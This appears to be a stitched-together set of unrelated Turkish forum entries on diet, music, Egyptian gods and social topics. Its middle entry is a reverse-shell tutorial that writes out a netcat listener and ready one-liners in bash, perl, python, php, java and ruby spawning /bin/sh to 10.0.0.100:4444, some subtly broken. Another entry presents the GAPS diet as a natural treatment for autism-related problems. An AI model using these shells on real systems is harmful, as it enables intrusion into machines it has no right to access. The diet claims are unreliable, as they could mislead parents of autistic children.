artık dışarıya çıkmaya korkar olduk. her gördüğümüz insan hakkında 'acaba bana zarar verir mi?' diye düşünmekten alıkoyamıyoruz kendimizi.

(bkz: trekking) gibi doğa sporları.

sırtında çanta, yeşillikler içinde tertemiz havada alabildiğine yürüyorsun, şehirden, stresten, insanlardan uzak kendinle başbaşa.

*

zenginlerin depresyon yerine bu tanımı kullanmaları sonucu ortaya çıkan zengin hastalığı

kendisini anlatacak bir kelime bulamıyorum sahiden dediğim insanlardan birisi. yine de somut bir şeyler söylemem gerekirse, kendisi adeta bir melek, iyilik meleği. bu sıfat kendisi için bir abartı değil, onu tanıdığınızda benim gibi düşüneceğinize çok eminim çünkü. o kadar sevecen, duyarlı, ince ruhlu bir insan ki, iyi ki tanışmışım, kendisini tanıyabilmişim dediğim sayılı insanlardan sadece birisi. muazzam bir insansın armysuzy, iyi ki varsın hep de olursun umarım. army suzy’e ve yazdıklarına hayran olmayan var mıdır yahu? bir tanımlarına, yazdıklarına bakınız derim, o kadar güzel kullanıyor ki kelimeleri, öyle harmanlıyor ki, “bu nasıl bir şeymiş böyle!”diyor insan kendi kendine*. en azından ben öyle diyorum. ve ayrıca bugün doğum günüsü olan canım yazarımızz! iyi ki varsın armysuzy, yeni yaşını canı gönülden kutlarım. yeni yaşın sana çok daha iyi güzellikler getirir umarım. güzel gönlünden geçenler umarım gerçekleşir ve senin gibi ince insanlarla yolların kesişir umarım. iyi ki doğdun sen!!*

yüzünde çorap olan insan.

gaps diyeti, bağırsak ve psikoloji/fizyoloji sendromu (gut and psychology/physiology syndrome) için doğal bir tedavi yöntemidir. biyoloji ve beslenme uzmanı natasha campbell-mcbride oğluna otizm tanısı konulduktan sonra gaps diyetini geliştirmiştir. campbell-mcbride bağırsakları temizlemeyi ve öfke nöbetleri, yeme bozuklukları gibi otizmli çocukların problemlerini çözmek istemiştir.

gaps diyetinde amaç vücuttaki toksik yükü kaldırarak beynin düzgün çalışmasını sağlamaktır. önce sindirim yolu temizleyerek iyileştirilmeli, sonra da vücutta ki toksinler temizlenmelidir.

yasaklı besin listesi:
-şeker, yapay tatlandırıcılar ve şuruplar.
-işlenmiş ve paketlenmiş besinler.
-süt, soya,
-nişasta içeriği yüksek sebzeler.
-çay, kahve ve alkol
-mısır, buğday ve yulaf gibi tahıllar.

gaps diyeti üç ana bölümden oluşur. ​

​1-giriş diyeti 6 aşamadan oluşur ve amino asitler, yağlar, vitaminler ve mineraller gibi yani bağırsak astarını meydana getiren maddelerden oluşur. bu aşamalarda et suyundan yapılan yemekler ve çorbalar, yumurta ve sebze suları vardır. bir sonraki aşamaya geçmek için ağrının veya ishalin iyileşmesi beklenir. yaklaşık iki yıl sürer ve semptomlar oldukça iyileşir.​

2-başlıca sindirim sorunları iyileştikten sonra tam gaps diyetine geçilir. bağırsak florası dengelenir ve fizyolojik, psikolojik semptomlar yok olur. diyete patates ve havuç hariç sebzeler, kırmızı et, balık, kefir, bal, kaymak, kuru kayısı, ceviz, fındık gibi e vitamini ve antioksidan kaynakları eklenir. yaklaşık iki yıl uygulanır.

3-gaps diyetinden çıkışta, bağırsak florası, duvarı ve epitel dokusu iyileşmiştir ve diyetten çıkılır. yasaklı yiyecekleri yemek için hastanın sindiriminin en az altı ay normal çalışması gerekir. patates ve glutensiz fermente tahıllar (karabuğday, darı, kinoa) ilk tüketileceklerdir.

detaylı bakmak isteyenler buyrunuz kaynaklar *

​

1. nesil yazar bilgisini görünce duygular şelale oldu. teşekkürler iko teşekkürler benjamin.

sorunsal gibi sorunsaldır. sarhoşken, o makyajı temizlemek, dişleri fırçalamak zül gelir. zaten dişlerimi evden çıkmadan fırçalamıştım, makyaja da sabah rötuş yapar devam ederim.

ne hastayım
ne travmatik bir durumum var
nede depresyon ilacı kullanıyorum
canım öyle istediği için öyleyim
beğenmeyen sevmezde s*k***de
dert etmeyin

manuel vites gereksizliğini bir günde unutturan müthiş konfor.

aslında hep içimizdeler...
"ay o trans mı senden benden güzel"
"ya ben gay'lere bir şey demiyorum da rahatsız oluyorum yanii"
"yok be lezbiyen değilsindir karşına doğru adam çıkmamıştır." gibi cümleler kurarken kendilerini yakalayabilirsiniz. kabul edeceklerini sanmam ama isterseniz anlatmayı deneyin.

her müslüman tevrat dinlemez her ateist kuran dinlemez ama herkes müzik dinler yani siyaset de mi yapalım o zaman radyoda ? yaptığım dinlerin düşmanlığı değil çünkü sözlük herkesi ortak paydada buluşturmak için vardır dinî bir vakıfta değiliz zorlanması saçma.

(bkz: akran zorbalığı)'dır. aileleri tarafından 'çocuktur yapar' denerek kibarlık ve empatiden yoksun büyüyenler tarafından yapılır. çocuklukta dışlanan bireyler kendilerini birey olarak görme konusunda ciddi sıkıntılar yaşıyor ve tüm hayatlarını etkiliyor. umarım zamanla azalır ve tamamen biter..

tam kapanma olsa gam yemeyeceğim ihtimaldir... tam kapanamıyoruzdur bi türlü.

bir varmış, bir yokmuş; hikaye bitmiş.

reverse shell nedir?

ters kabuk olarak türkçeleştirebildiğimiz ana bilgisayar üzerinden değil uzak bi bilgisayar üzerinden remote code execution zafiyetinden yararlanarak hedef makinede etkileşimli bir shell elde etmek ve saldırıyı derinleştirebilip root yetkisi kazanabbilmek için yapılan bir saldırı çeşididir. bugün ters kabukların pratik olarak nasıl çalıştığını açıklayacağız.

reverse shell nasıl çalışır?

ağ üzerinde bulunan bir hedefe bağlanabilmek için saldırgan makineye bir bağlanma isteği yollar ve bir oturum ister. ters kabuklar genellikle bir nat arkasındaki ana bilgisayara uzaktan erişim sağlamanın tek yoludur. bu sebeple meşrü kullanımları da vardır. fakat, siber güvenlikçiler ve hackerlar tarafından bir güvenlik sistemleri tarafından gelen bağlantılardan korunan ana bilgisayarda işletim sistemi kodlarını yürütmek için de kullanılabilirler. örneğin bir e-ticaret sitesine yüklenen zararlı kod kötü amaçlı bir web sitesi bir komut sunucusuna giden bir bağlantı başlatabilir ve saldırgana bu sayede app üzerinde bir reverse shell çalıştırabilir. güvenlik duvarları çoğu zaman bu trafiği filtreler ve bu nedenle listening server'a giden bir bağlantı genellikle başarılı olur.

reverse shell kod örnekleri

saldırgan ilk olarak reverse shell sayesinde aldığı bağlantiları dinlemek için kendi ana bilgisayarında bir dinleyici başlatması gerekir. vereceğim öğrenklerdeki dinleyicilerin ıp adreslerini 10.0.0.100 olarak bağlanamk istediğimiz port ise 4444 olsun. eğer bir linux kullanıcısıysanız bir netcat dinleyicisi başlatmak çocuk oyuncağıdır.

"nc -nvlp 4444"

bu 4444 numaral port'ta bir netcat dinleyicisi başlatır. saldırganın şimdi yapması gereken şey bu makineye uzaktan bağlanabilmek için hedef makinede saldırı kodunu yürütmeesi gerekir. çeşitli sistemler ve diller için birçok hazır reverse shell kodu mevcuttur.
link
pentestmokey bizim için yazıp bırakmış fakat nasıl çalıştığını görebilmek için birkaç tane basit reverse shell kodu yazalım

bash reverse shell

hedef linux bir makinada çalışıyorsa neredeyse tüm linux makinelerde bash bulunduğundan dolayı
bash ile başlamak akıllıca bir seçenektir.

/bin/bash -i > & /dev/tcp/10.0.0.100/4444 0>%1

perl reverse shell

bash gibi perl'de linux makinelerde default olarak gelen bir dildir. bunun içinde bir reverse
shell yazalım.

perl -e "use socket:#i="10.0.0.100";$p=4444;socket(s,pf_ınet,sock_stream,getprotobyname("tcp"));if(connect(s,sockaddr_in($p,inet_aton($i)))){open(stdın,">&s");open(stdout,">&s");open(stderr,">&s");exec("/bin/sh -i");};'

python reverse shell

evet geldik yine pythona son zamanlarda kazandığı popülarite ve yine linux makinelerde
defualt olarak geldiğinden python ile de bir reverse shell yazalım.

python -c 'import socket,subprocess,os;s=socket.socket(socket.af_ınet,socket.sock_stream);s.connect(("10.0.0.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php reverse shell

hala daha pek çok web server php üzerinden çalıştığından dolayı pek çok eğitim sitesinde
ctf'lerde en çok gördüğünüz kabuktur. (&3 eğer çalışmıyorsa yanında yazılan diğer değerleri
deneyin.

php -r '$sock=fsockopen("10.0.0.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

java reverse shell

javayı hiç sevmem zerre haz etmem kendisinden fakat bu application serverlarda kullanıldığı gerçeğini değiştirmiyor. (java severler ve oop'yi koruyalım kolluyalım ve ona adaklar adayalım
derneği lütfen az linçleyin). bak bunun için gittim biraz java öğrendim geldim.

run = runtime.getruntime()
port = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/10.0.0.100/4444; cat <&5 | while read line; do \$line 2>&5 >&5; done] as string[])
port.waitfor()

???? ??????? ?????

yaklaşık 5 senedir her ay öğreneceğim diyip öğrenmediğim kod okuya okuya aşina olduğum bir dildir kendileri. sunucu içinde ruby interpreter'ının bulunmasının muhtemel olduğundan dolayı son olarak bunu da son örneğimiz olarak ekleyelim

ruby -rsocket -e'f=tcpsocket.open("10.0.0.100",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

örneklerimiz tükendi ben bildiklerimi tekrar etmiş oldum ve yine güzel bir kaynak ürettik gibi geliyor. gelecekteki konulara kadar sağlıcakla kalın efendim guardian kaçar.

yaptığım davranıştır. bir yastığın ortasını kullanırken asla uykuya dalamam. benim için yastığın kenarları eşsiz birer mücevherdir. fizik yasaları izin verse de bir yastıkta 17 kenar olsa keşke. yalnızca 4 tane var ve bu başlı başına büyük sorun.

melodik black metal/senfonik black metal diye çeşitleri de var bu metal türünün. serttir, şarkılarda ahenk yoktur, duygusuzdur, biraz da kulak tırmalayıcıdır ama her türlü gideri vardır.. black metali black metal yapan da kuşkusuz scream ve brutaldir, riff ve gitar sololarıdır. aslında black metal bir haykırıştır, başkaldırıştır, sertliği de buradan geliyor zaten. bazıları black metalden için eleştiri yapsalar bile bana göre karanlığın simgesi olduğundan dolayı böyle düşünüyor olabilirler. yine de bilemiyorum tabi.

black metal denildiği zaman benim aklıma marduk, mayhem, burzum, bathory, cradle of filth, venom darkthrone gelir. bir sürü grup var işini hakkıyla yapan. yalnız black metal cidden metal türlerinin içinde bana göre en güzel olanıdır. isyanı olsun, haykırışı olsun dinleyiciye net şekilde aktarabiliyor, dinleyiciyi kendisine bağlayabiliyor. benim black metali sevmem için bir sürü nedenim var, nedenleri de anlattım. anarşist bir müzik türü olması her zaman beni kendine çekmiştir.

black metal konserleri de şahanedir. black metal gruplarının konser videolarını izlediğim zaman yaratıcı ve korkutucu bir konsept oluşturup o şekilde hayranlarının karşısına çıkarlar. konserlerle karanlık tema kullanılır, kuru kafa, satanizm simgeleri gibi gibi.

yalnız şu an black metal diye bir metal türü varsa bunu norveçli black metal gruplarına borçluyuz zira bu gruplar black metalin zamanında yaratıcısı olmuşlardır. çok eskiye dayanan hikayeleri var viki amcadan bu hikayeyi geniş kapsamlı paylaşalım madem.


black metalin tarihsel gelişimi:

amon re. amen ra. amun ra. ammon re. amoun re.

gizli olan, bilinmeyen/bilinemeyen anlamında bir tanrı ismidir.

tanrıların tanrısıdır. aton rahipleri ile ünlü firavun akhenethon'un tasarımı olduğu kuvvetli ihtimal olarak kabul edilir. en azından antropolojik açıdan günümüz tek tanrılı dinlerinin yaratımının bir kısmı akhenethon'un kişisel çalışmalarına dayandırılmaktadır.
ben eskiden malum 'göz' ün ra'nın gözü olduğunu bilir/sanırdım. meğer o göz horus'un gözüymüş. horus insanları seven, gözeten, kollayan bir tanrı, bu yüzden çok sakat bir tanrı aynı zamanda, kötü insanlara karşı çok zalim.
neyse. ra ilk önceleri güneş ile özdeşleştiriliyormuş. aslında ilk başlarda mısır usülü çok tanrılı pagan bir din söz konusuymuş, yine tabi bir sürü işe bakan bir sürü birbiri ile akraba tanrıcıklar söz konusu. ne olmuş ise aton inşaa edilmeye başlandıktan sonra olmuş. aton tipik bir politika karargahı, (sözde) tanrıların politikalarını halka duyuran (hazırlayan) kurmayların yaşadığı dev gibi bir tapınak. dev gibi diyorum çünkü tapınağın inşaası binlerce yıl sürmüş, her firavun döneminde ayrı bir ekleme yapılmış tapınağa (senkronize olarak). tapınağın hikayesini kendine ait başlık altında incelemek gerekir. mısır pramitleri fasa-fisodur, asıl hikaye aton'da saklıdır.
bastet kedilerin efendisidir. hepimiz onun kulu ve kedisiyizdir. hehe neyse..

aton tapınakları ==> (bkz: karnak)